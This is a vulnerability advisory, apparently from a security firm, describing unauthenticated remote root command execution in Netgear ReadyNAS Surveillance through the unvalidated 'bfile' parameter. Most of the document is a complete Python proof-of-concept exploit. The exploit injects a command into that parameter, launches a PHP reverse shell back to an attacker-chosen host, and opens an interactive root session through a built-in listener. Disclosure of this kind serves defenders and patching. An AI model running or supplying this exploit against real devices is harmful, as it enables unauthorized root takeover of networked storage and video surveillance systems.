Unauthenticated Remote Command Execution in Netgear ReadyNAS Surveillance ========================================================================= Product Description =================== Netgear ReadyNAS Surveillance is a NVR (Network Video Recorder) available for Netgear NAS systems. Vulnerability Description ========================= A critical vulnerability has been found in Netgear ReadyNAS Surveillance configuration backup feature, allowing remote users to execute arbitrary commands as root. Unauthenticated Config File Download + Remote Root via RCE ========================================================== Because the ReadyNAS Surveillance cgi_system cgi application doesn't check the user-provided "bfile" POST parameter and does not check if the user is authenticated, it's possible to execute arbitrary commands as root. It's also possible, without RCE, to download the ReadyNAS Surveillance configuration files. **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-88 ---------------- Proof of Concept ---------------- #!/usr/bin/env python import requests import socket import telnetlib from thread import start_new_thread from time import sleep import argparse def exploit(target, reverse): print "[~] Sending payload..." requests.post("http://%s/cgi-bin/cgi_system?cmd=saveconfig" % target, data={"bfolder":"/tmp", "bfile": ";$(php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/sh -i <&3 >&3 2>&3\");')" % reverse, "inc_emap": "no", "inc_pos": "no"}) def handler(handler, lport): print "[~] Starting handler on port %d" % lport s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print "[+] Connection from %s" % addr[0] handler.sock = conn if __name__ == "__main__": print "[~] ReadyNAS Surveillance Remote Root Exploit (quick'n'dirty) - Nicolas Chatelain <n.chatelain[at]sysdream.com>" parser = argparse.ArgumentParser() parser.add_argument("--target", required=True) parser.add_argument("--localhost", required=True) parser.add_argument("--localport", required=True, type=int) args = parser.parse_args() t = telnetlib.Telnet() start_new_thread(handler, (t, args.localport)) sleep(1) # Just in case... start_new_thread(exploit, (args.target, (args.localhost, args.localport))) sleep(2) # Wait for it... if t.sock_avail(): print "[+] Exploited." t.interact() else: print "[!!] Exploit failed."
